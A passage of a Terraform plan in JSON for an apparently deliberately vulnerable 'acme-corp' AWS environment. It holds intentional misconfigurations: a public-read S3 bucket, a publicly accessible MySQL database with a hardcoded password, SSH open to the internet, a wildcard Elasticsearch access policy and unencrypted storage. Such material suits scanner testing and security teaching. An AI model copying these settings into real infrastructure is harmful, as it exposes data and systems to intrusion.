\"backup_retention_period\": 5,\n            \"cluster_identifier\": \"neptunedb1\",\n            \"deletion_protection\": null,\n            \"enable_cloudwatch_logs_exports\": null,\n            \"engine\": \"neptune\",\n            \"final_snapshot_identifier\": null,\n            \"iam_database_authentication_enabled\": false,\n            \"iam_roles\": null,\n            \"neptune_cluster_parameter_group_name\": \"default.neptune1\",\n            \"port\": 8182,\n            \"preferred_backup_window\": \"07:00-09:00\",\n            \"replication_source_identifier\": null,\n            \"skip_final_snapshot\": true,\n            \"snapshot_identifier\": null,\n            \"storage_encrypted\": false,\n            \"tags\": null,\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_neptune_cluster_instance.default[0]\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_neptune_cluster_instance\",\n          \"name\": \"default\",\n          \"index\": 0,\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"apply_immediately\": true,\n            \"auto_minor_version_upgrade\": true,\n            \"engine\": \"neptune\",\n            \"instance_class\": \"db.t3.medium\",\n            \"neptune_parameter_group_name\": \"default.neptune1\",\n            \"port\": 8182,\n            \"promotion_tier\": 0,\n            \"publicly_accessible\": false,\n            \"tags\": null,\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_neptune_cluster_snapshot.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_neptune_cluster_snapshot\",\n          \"name\": \"default\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"db_cluster_snapshot_identifier\": \"resourcetestsnapshot1\",\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_network_interface.web-eni\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_network_interface\",\n          \"name\": \"web-eni\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"description\": null,\n            \"private_ips\": [\n              \"172.16.10.100\"\n            ],\n            \"source_dest_check\": true,\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-primary_network_interface\"\n            }\n          }\n        },\n        {\n          \"address\": \"aws_route.public_internet_gateway\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_route\",\n          \"name\": \"public_internet_gateway\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"destination_cidr_block\": \"0.0.0.0/0\",\n            \"destination_ipv6_cidr_block\": null,\n            \"timeouts\": {\n              \"create\": \"5m\",\n              \"delete\": null\n            },\n            \"transit_gateway_id\": null,\n            \"vpc_peering_connection_id\": null\n          }\n        },\n        {\n          \"address\": \"aws_route_table.web_rtb\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_route_table\",\n          \"name\": \"web_rtb\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-rtb\"\n            }\n          }\n        },\n        {\n          \"address\": \"aws_route_table_association.rtbassoc\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_route_table_association\",\n          \"name\": \"rtbassoc\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"gateway_id\": null\n          }\n        },\n        {\n          \"address\": \"aws_route_table_association.rtbassoc2\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_route_table_association\",\n          \"name\": \"rtbassoc2\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"gateway_id\": null\n          }\n        },\n        {\n          \"address\": \"aws_s3_bucket.data\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"data\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"acl\": \"public-read\",\n            \"bucket\": \"123456789123-acme-corp-data\",\n            \"bucket_prefix\": null,\n            \"cors_rule\": [],\n            \"force_destroy\": true,\n            \"grant\": [],\n            \"lifecycle_rule\": [],\n            \"logging\": [],\n            \"object_lock_configuration\": [],\n            \"policy\": null,\n            \"replication_configuration\": [],\n            \"server_side_encryption_configuration\": [],\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-data\"\n            },\n            \"website\": []\n          }\n        },\n        {\n          \"address\": \"aws_s3_bucket.data_science\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"data_science\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"acl\": \"private\",\n            \"bucket\": \"123456789123-acme-corp-data-science\",\n            \"bucket_prefix\": null,\n            \"cors_rule\": [],\n            \"force_destroy\": true,\n            \"grant\": [],\n            \"lifecycle_rule\": [],\n            \"logging\": [\n              {\n                \"target_prefix\": \"log/\"\n              }\n            ],\n            \"object_lock_configuration\": [],\n            \"policy\": null,\n            \"replication_configuration\": [],\n            \"server_side_encryption_configuration\": [],\n            \"tags\": null,\n            \"versioning\": [\n              {\n                \"enabled\": true,\n                \"mfa_delete\": false\n              }\n            ],\n            \"website\": []\n          }\n        },\n        {\n          \"address\": \"aws_s3_bucket.financials\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"financials\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"acl\": \"private\",\n            \"bucket\": \"123456789123-acme-corp-financials\",\n            \"bucket_prefix\": null,\n            \"cors_rule\": [],\n            \"force_destroy\": true,\n            \"grant\": [],\n            \"lifecycle_rule\": [],\n            \"logging\": [],\n            \"object_lock_configuration\": [],\n            \"policy\": null,\n            \"replication_configuration\": [],\n            \"server_side_encryption_configuration\": [],\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-financials\"\n            },\n            \"website\": []\n          }\n        },\n        {\n          \"address\": \"aws_s3_bucket.flowbucket\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"flowbucket\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"acl\": \"private\",\n            \"bucket\": \"123456789123-acme-corp-flowlogs\",\n            \"bucket_prefix\": null,\n            \"cors_rule\": [],\n            \"force_destroy\": true,\n            \"grant\": [],\n            \"lifecycle_rule\": [],\n            \"logging\": [],\n            \"object_lock_configuration\": [],\n            \"policy\": null,\n            \"replication_configuration\": [],\n            \"server_side_encryption_configuration\": [],\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-flowlogs\"\n            },\n            \"website\": []\n          }\n        },\n        {\n          \"address\": \"aws_s3_bucket.logs\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"logs\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"acl\": \"log-delivery-write\",\n            \"bucket\": \"123456789123-acme-corp-logs\",\n            \"bucket_prefix\": null,\n            \"cors_rule\": [],\n            \"force_destroy\": true,\n            \"grant\": [],\n            \"lifecycle_rule\": [],\n            \"logging\": [],\n            \"object_lock_configuration\": [],\n            \"policy\": null,\n            \"replication_configuration\": [],\n            \"server_side_encryption_configuration\": [\n              {\n                \"rule\": [\n                  {\n                    \"apply_server_side_encryption_by_default\": [\n                      {\n                        \"sse_algorithm\": \"aws:kms\"\n                      }\n                    ]\n                  }\n                ]\n              }\n            ],\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-logs\"\n            },\n            \"versioning\": [\n              {\n                \"enabled\": true,\n                \"mfa_delete\": false\n              }\n            ],\n            \"website\": []\n          }\n        },\n        {\n          \"address\": \"aws_s3_bucket.operations\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"operations\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"acl\": \"private\",\n            \"bucket\": \"123456789123-acme-corp-operations\",\n            \"bucket_prefix\": null,\n            \"cors_rule\": [],\n            \"force_destroy\": true,\n            \"grant\": [],\n            \"lifecycle_rule\": [],\n            \"logging\": [],\n            \"object_lock_configuration\": [],\n            \"policy\": null,\n            \"replication_configuration\": [],\n            \"server_side_encryption_configuration\": [],\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-operations\"\n            },\n            \"versioning\": [\n              {\n                \"enabled\": true,\n                \"mfa_delete\": false\n              }\n            ],\n            \"website\": []\n          }\n        },\n        {\n          \"address\": \"aws_s3_bucket_object.data_object\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket_object\",\n          \"name\": \"data_object\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"acl\": \"private\",\n            \"cache_control\": null,\n            \"content\": null,\n            \"content_base64\": null,\n            \"content_disposition\": null,\n            \"content_encoding\": null,\n            \"content_language\": null,\n            \"force_destroy\": false,\n            \"key\": \"customer-master.xlsx\",\n            \"metadata\": null,\n            \"object_lock_legal_hold_status\": null,\n            \"object_lock_mode\": null,\n            \"object_lock_retain_until_date\": null,\n            \"source\": \"resources/customer-master.xlsx\",\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-customer-master\"\n            },\n            \"website_redirect\": null\n          }\n        },\n        {\n          \"address\": \"aws_security_group.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_security_group\",\n          \"name\": \"default\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"description\": \"Managed by Terraform\",\n            \"name\": \"123456789123-acme-corp-rds-sg\",\n            \"name_prefix\": null,\n            \"revoke_rules_on_delete\": false,\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-rds-sg\"\n            },\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_security_group.web-node\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_security_group\",\n          \"name\": \"web-node\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"description\": \"123456789123-acme-corp Security Group\",\n            \"egress\": [\n              {\n                \"cidr_blocks\": [\n                  \"0.0.0.0/0\"\n                ],\n                \"description\": \"\",\n                \"from_port\": 0,\n                \"ipv6_cidr_blocks\": [],\n                \"prefix_list_ids\": [],\n                \"protocol\": \"-1\",\n                \"security_groups\": [],\n                \"self\": false,\n                \"to_port\": 0\n              }\n            ],\n            \"ingress\": [\n              {\n                \"cidr_blocks\": [\n                  \"0.0.0.0/0\"\n                ],\n                \"description\": \"\",\n                \"from_port\": 22,\n                \"ipv6_cidr_blocks\": [],\n                \"prefix_list_ids\": [],\n                \"protocol\": \"tcp\",\n                \"security_groups\": [],\n                \"self\": false,\n                \"to_port\": 22\n              },\n              {\n                \"cidr_blocks\": [\n                  \"0.0.0.0/0\"\n                ],\n                \"description\": \"\",\n                \"from_port\": 80,\n                \"ipv6_cidr_blocks\": [],\n                \"prefix_list_ids\": [],\n                \"protocol\": \"tcp\",\n                \"security_groups\": [],\n                \"self\": false,\n                \"to_port\": 80\n              }\n            ],\n            \"name\": \"123456789123-acme-corp-sg\",\n            \"name_prefix\": null,\n            \"revoke_rules_on_delete\": false,\n            \"tags\": null,\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_security_group_rule.egress\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_security_group_rule\",\n          \"name\": \"egress\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 2,\n          \"values\": {\n            \"cidr_blocks\": [\n              \"0.0.0.0/0\"\n            ],\n            \"description\": null,\n            \"from_port\": 0,\n            \"ipv6_cidr_blocks\": null,\n            \"prefix_list_ids\": null,\n            \"protocol\": \"-1\",\n            \"self\": false,\n            \"to_port\": 0,\n            \"type\": \"egress\"\n          }\n        },\n        {\n          \"address\": \"aws_security_group_rule.ingress\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_security_group_rule\",\n          \"name\": \"ingress\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 2,\n          \"values\": {\n            \"cidr_blocks\": [\n              \"172.16.0.0/16\"\n            ],\n            \"description\": null,\n            \"from_port\": 3306,\n            \"ipv6_cidr_blocks\": null,\n            \"prefix_list_ids\": null,\n            \"protocol\": \"tcp\",\n            \"self\": false,\n            \"to_port\": 3306,\n            \"type\": \"ingress\"\n          }\n        },\n        {\n          \"address\": \"aws_subnet.eks_subnet1\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_subnet\",\n          \"name\": \"eks_subnet1\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"assign_ipv6_address_on_creation\": false,\n            \"availability_zone\": \"us-west-2a\",\n            \"cidr_block\": \"10.10.10.0/24\",\n            \"ipv6_cidr_block\": null,\n            \"map_public_ip_on_launch\": true,\n            \"outpost_arn\": null,\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-eks-subnet\",\n              \"kubernetes.io/cluster/123456789123-acme-corp-eks\": \"shared\"\n            },\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_subnet.eks_subnet2\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_subnet\",\n          \"name\": \"eks_subnet2\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"assign_ipv6_address_on_creation\": false,\n            \"availability_zone\": \"us-west-2b\",\n            \"cidr_block\": \"10.10.11.0/24\",\n            \"ipv6_cidr_block\": null,\n            \"map_public_ip_on_launch\": true,\n            \"outpost_arn\": null,\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-eks-subnet2\",\n              \"kubernetes.io/cluster/123456789123-acme-corp-eks\": \"shared\"\n            },\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_subnet.web_subnet\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_subnet\",\n          \"name\": \"web_subnet\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"assign_ipv6_address_on_creation\": false,\n            \"availability_zone\": \"us-west-2a\",\n            \"cidr_block\": \"172.16.10.0/24\",\n            \"ipv6_cidr_block\": null,\n            \"map_public_ip_on_launch\": true,\n            \"outpost_arn\": null,\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-subnet\"\n            },\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_subnet.web_subnet2\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_subnet\",\n          \"name\": \"web_subnet2\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"assign_ipv6_address_on_creation\": false,\n            \"availability_zone\": \"us-west-2b\",\n            \"cidr_block\": \"172.16.11.0/24\",\n            \"ipv6_cidr_block\": null,\n            \"map_public_ip_on_launch\": true,\n            \"outpost_arn\": null,\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-subnet2\"\n            },\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_volume_attachment.ebs_att\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_volume_attachment\",\n          \"name\": \"ebs_att\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"device_name\": \"/dev/sdh\",\n            \"force_detach\": null,\n            \"skip_destroy\": null\n          }\n        },\n        {\n          \"address\": \"aws_vpc.eks_vpc\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_vpc\",\n          \"name\": \"eks_vpc\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"assign_generated_ipv6_cidr_block\": false,\n            \"cidr_block\": \"10.10.0.0/16\",\n            \"enable_dns_hostnames\": true,\n            \"enable_dns_support\": true,\n            \"instance_tenancy\": \"default\",\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-eks-vpc\"\n            }\n          }\n        },\n        {\n          \"address\": \"aws_vpc.web_vpc\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_vpc\",\n          \"name\": \"web_vpc\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"assign_generated_ipv6_cidr_block\": false,\n            \"cidr_block\": \"172.16.0.0/16\",\n            \"enable_dns_hostnames\": true,\n            \"enable_dns_support\": true,\n            \"instance_tenancy\": \"default\",\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-vpc\"\n            }\n          }\n        },\n        {\n          \"address\": \"null_resource.push_image\",\n          \"mode\": \"managed\",\n          \"type\": \"null_resource\",\n          \"name\": \"push_image\",\n          \"provider_name\": \"null\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"triggers\": null\n          }\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"aws_db_instance.default\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_db_instance\",\n      \"name\": \"default\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"allocated_storage\": 20,\n          \"allow_major_version_upgrade\": null,\n          \"apply_immediately\": true,\n          \"auto_minor_version_upgrade\": true,\n          \"backup_retention_period\": 0,\n          \"copy_tags_to_snapshot\": false,\n          \"db_subnet_group_name\": \"sg-123456789123-acme-corp\",\n          \"delete_automated_backups\": true,\n          \"deletion_protection\": null,\n          \"domain\": null,\n          \"domain_iam_role_name\": null,\n          \"enabled_cloudwatch_logs_exports\": null,\n          \"engine\": \"mysql\",\n          \"engine_version\": \"8.0\",\n          \"final_snapshot_identifier\": null,\n          \"iam_database_authentication_enabled\": null,\n          \"identifier\": \"rds-123456789123-acme-corp\",\n          \"instance_class\": \"db.t3.micro\",\n          \"iops\": null,\n          \"max_allocated_storage\": null,\n          \"monitoring_interval\": 0,\n          \"multi_az\": false,\n          \"name\": \"db1\",\n          \"option_group_name\": \"og-123456789123-acme-corp\",\n          \"parameter_group_name\": \"pg-123456789123-acme-corp\",\n          \"password\": \"Aa1234321Bb\",\n          \"performance_insights_enabled\": false,\n          \"publicly_accessible\": true,\n          \"replicate_source_db\": null,\n          \"s3_import\": [],\n          \"security_group_names\": null,\n          \"skip_final_snapshot\": true,\n          \"snapshot_identifier\": null,\n          \"storage_encrypted\": false,\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-rds\"\n          },\n          \"timeouts\": null,\n          \"username\": \"admin\"\n        },\n        \"after_unknown\": {\n          \"address\": true,\n          \"arn\": true,\n          \"availability_zone\": true,\n          \"backup_window\": true,\n          \"ca_cert_identifier\": true,\n          \"character_set_name\": true,\n          \"endpoint\": true,\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"identifier_prefix\": true,\n          \"kms_key_id\": true,\n          \"license_model\": true,\n          \"maintenance_window\": true,\n          \"monitoring_role_arn\": true,\n          \"performance_insights_kms_key_id\": true,\n          \"performance_insights_retention_period\": true,\n          \"port\": true,\n          \"replicas\": true,\n          \"resource_id\": true,\n          \"s3_import\": [],\n          \"status\": true,\n          \"storage_type\": true,\n          \"tags\": {},\n          \"timezone\": true,\n          \"vpc_security_group_ids\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_db_option_group.default\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_db_option_group\",\n      \"name\": \"default\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"engine_name\": \"mysql\",\n          \"major_engine_version\": \"8.0\",\n          \"name\": \"og-123456789123-acme-corp\",\n          \"option\": [],\n          \"option_group_description\": \"Terraform OG\",\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-og\"\n          },\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"name_prefix\": true,\n          \"option\": [],\n          \"tags\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"aws_db_parameter_group.default\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_db_parameter_group\",\n      \"name\": \"default\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"description\": \"Terraform PG\",\n          \"family\": \"mysql8.0\",\n          \"name\": \"pg-123456789123-acme-corp\",\n          \"parameter\": [\n            {\n              \"apply_method\": \"immediate\",\n              \"name\": \"character_set_client\",\n              \"value\": \"utf8\"\n            },\n            {\n              \"apply_method\": \"immediate\",\n              \"name\": \"character_set_server\",\n              \"value\": \"utf8\"\n            }\n          ],\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-pg\"\n          }\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"name_prefix\": true,\n          \"parameter\": [\n            {},\n            {}\n          ],\n          \"tags\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"aws_db_subnet_group.default\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_db_subnet_group\",\n      \"name\": \"default\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"description\": \"Terraform DB Subnet Group\",\n          \"name\": \"sg-123456789123-acme-corp\",\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"sg-123456789123-acme-corp\"\n          }\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"name_prefix\": true,\n          \"subnet_ids\": true,\n          \"tags\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"aws_ebs_snapshot.example_snapshot\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_ebs_snapshot\",\n      \"name\": \"example_snapshot\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"description\": \"123456789123-acme-corp-ebs-snapshot\",\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-ebs-snapshot\"\n          },\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"data_encryption_key_id\": true,\n          \"encrypted\": true,\n          \"id\": true,\n          \"kms_key_id\": true,\n          \"owner_alias\": true,\n          \"owner_id\": true,\n          \"tags\": {},\n          \"volume_id\": true,\n          \"volume_size\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_ebs_volume.web_host_storage\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_ebs_volume\",\n      \"name\": \"web_host_storage\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"availability_zone\": \"us-west-2a\",\n          \"multi_attach_enabled\": null,\n          \"outpost_arn\": null,\n          \"size\": 1,\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-ebs\"\n          }\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"encrypted\": true,\n          \"id\": true,\n          \"iops\": true,\n          \"kms_key_id\": true,\n          \"snapshot_id\": true,\n          \"tags\": {},\n          \"type\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_ecr_repository.repository\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_ecr_repository\",\n      \"name\": \"repository\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"encryption_configuration\": [],\n          \"image_scanning_configuration\": [],\n          \"image_tag_mutability\": \"MUTABLE\",\n          \"name\": \"123456789123-acme-corp-repository\",\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-repository\"\n          },\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"encryption_configuration\": [],\n          \"id\": true,\n          \"image_scanning_configuration\": [],\n          \"registry_id\": true,\n          \"repository_url\": true,\n          \"tags\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"aws_eks_cluster.eks_cluster\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_eks_cluster\",\n      \"name\": \"eks_cluster\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"enabled_cluster_log_types\": null,\n          \"encryption_config\": [],\n          \"name\": \"123456789123-acme-corp-eks\",\n          \"tags\": null,\n          \"timeouts\": null,\n          \"vpc_config\": [\n            {\n              \"endpoint_private_access\": true,\n              \"endpoint_public_access\": true,\n              \"security_group_ids\": null\n            }\n          ]\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"certificate_authority\": true,\n          \"created_at\": true,\n          \"encryption_config\": [],\n          \"endpoint\": true,\n          \"id\": true,\n          \"identity\": true,\n          \"platform_version\": true,\n          \"role_arn\": true,\n          \"status\": true,\n          \"version\": true,\n          \"vpc_config\": [\n            {\n              \"cluster_security_group_id\": true,\n              \"public_access_cidrs\": true,\n              \"subnet_ids\": true,\n              \"vpc_id\": true\n            }\n          ]\n        }\n      }\n    },\n    {\n      \"address\": \"aws_elasticsearch_domain.monitoring-framework\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_elasticsearch_domain\",\n      \"name\": \"monitoring-framework\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"cluster_config\": [\n            {\n              \"dedicated_master_count\": null,\n              \"dedicated_master_enabled\": false,\n              \"dedicated_master_type\": null,\n              \"instance_count\": 1,\n              \"instance_type\": \"t2.small.elasticsearch\",\n              \"warm_count\": null,\n              \"warm_enabled\": null,\n              \"warm_type\": null,\n              \"zone_awareness_config\": [],\n              \"zone_awareness_enabled\": null\n            }\n          ],\n          \"cognito_options\": [],\n          \"domain_name\": \"tg-corp-es\",\n          \"ebs_options\": [\n            {\n              \"ebs_enabled\": true,\n              \"iops\": null,\n              \"volume_size\": 30\n            }\n          ],\n          \"elasticsearch_version\": \"2.3\",\n          \"log_publishing_options\": [],\n          \"snapshot_options\": [],\n          \"tags\": null,\n          \"timeouts\": null,\n          \"vpc_options\": []\n        },\n        \"after_unknown\": {\n          \"access_policies\": true,\n          \"advanced_options\": true,\n          \"advanced_security_options\": true,\n          \"arn\": true,\n          \"cluster_config\": [\n            {\n              \"zone_awareness_config\": []\n            }\n          ],\n          \"cognito_options\": [],\n          \"domain_endpoint_options\": true,\n          \"domain_id\": true,\n          \"ebs_options\": [\n            {\n              \"volume_type\": true\n            }\n          ],\n          \"encrypt_at_rest\": true,\n          \"endpoint\": true,\n          \"id\": true,\n          \"kibana_endpoint\": true,\n          \"log_publishing_options\": [],\n          \"node_to_node_encryption\": true,\n          \"snapshot_options\": [],\n          \"vpc_options\": []\n        }\n      }\n    },\n    {\n      \"address\": \"aws_elasticsearch_domain_policy.monitoring-framework-policy\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_elasticsearch_domain_policy\",\n      \"name\": \"monitoring-framework-policy\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"access_policies\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Sid\\\": \\\"\\\",\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Action\\\": \\\"es:*\\\",\\n      \\\"Resource\\\": \\\"*\\\",\\n      \\\"Principal\\\": {\\n        \\\"AWS\\\": \\\"*\\\"\\n      }\\n    }\\n  ]\\n}\",\n          \"domain_name\": \"tg-corp-es\"\n        },\n        \"after_unknown\": {\n          \"id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_elb.weblb\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_elb\",\n      \"name\": \"weblb\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"access_logs\": [],\n          \"connection_draining\": true,\n          \"connection_draining_timeout\": 400,\n          \"cross_zone_load_balancing\": true,\n          \"health_check\": [\n            {\n              \"healthy_threshold\": 2,\n              \"interval\": 30,\n              \"target\": \"HTTP:8000/\",\n              \"timeout\": 3,\n              \"unhealthy_threshold\": 2\n            }\n          ],\n          \"idle_timeout\": 400,\n          \"listener\": [\n            {\n              \"instance_port\": 8000,\n              \"instance_protocol\": \"http\",\n              \"lb_port\": 80,\n              \"lb_protocol\": \"http\",\n              \"ssl_certificate_id\": \"\"\n            }\n          ],\n          \"name\": \"weblb-terraform-elb\",\n          \"name_prefix\": null,\n          \"tags\": {\n            \"Name\": \"foobar-terraform-elb\"\n          }\n        },\n        \"after_unknown\": {\n          \"access_logs\": [],\n          \"arn\": true,\n          \"availability_zones\": true,\n          \"dns_name\": true,\n          \"health_check\": [\n            {}\n          ],\n          \"id\": true,\n          \"instances\": true,\n          \"internal\": true,\n          \"listener\": [\n            {}\n          ],\n          \"security_groups\": true,\n          \"source_security_group\": true,\n          \"source_security_group_id\": true,\n          \"subnets\": true,\n          \"tags\": {},\n          \"zone_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_flow_log.vpcflowlogs\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_flow_log\",\n      \"name\": \"vpcflowlogs\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"eni_id\": null,\n          